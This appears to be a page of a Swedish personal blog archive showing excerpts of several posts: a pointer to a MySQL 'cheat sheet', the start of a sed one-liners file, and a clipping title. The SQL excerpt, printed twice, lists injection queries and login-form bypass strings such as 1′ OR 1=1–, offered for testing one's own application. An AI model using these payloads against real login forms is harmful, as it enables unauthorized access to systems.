Hittade ett gammalt klipp fr?n en tidning min pappa var med i…
Författare: Jörgen (Sida 82 av 119)
”The Hacker Webzine” har en bra ”cheat sheet” om du vill testa din mysql applikation… http://www.0x000000.com/?i=14
T.ex.
Basics
SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE ”%root%”
Use inside login form:
1′ OR 1=1–
1′ OR ’1’ = ’1
”The Hacker Webzine” har en bra ”cheat sheet” om du vill testa din mysql applikation… http://www.0x000000.com/?i=14
T.ex.
Basics
SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE ”%root%”
Use inside login form:
1′ OR 1=1–
1′ OR ’1’ = ’1
————————————————————————-
HANDY ONE-LINERS FOR SED (Unix stream editor) Apr. 26, 2004
compiled by Eric Pement – pemente[at]northpark[dot]edu version 5.4
Latest version of this file is usually at:
http://sed.sourceforge.net/sed1line.txt
http://www.student.northpark.edu/pemente/sed/sed1line.txt
This file is also available in Portuguese at:
http://www.lrv.ufsc.br/wmaker/sed_ptBR.html
FILE SPACING:
# double space a file
sed G
# double space a file which already has blank lines in it. Output file
# should contain no more than one blank line between lines of text.
sed ’/^$/d;G’
# triple space a file
sed ’G;G’
# undo double-spacing (assumes even-numbered lines are always blank)
sed ’n;d’
Fortsätt läsa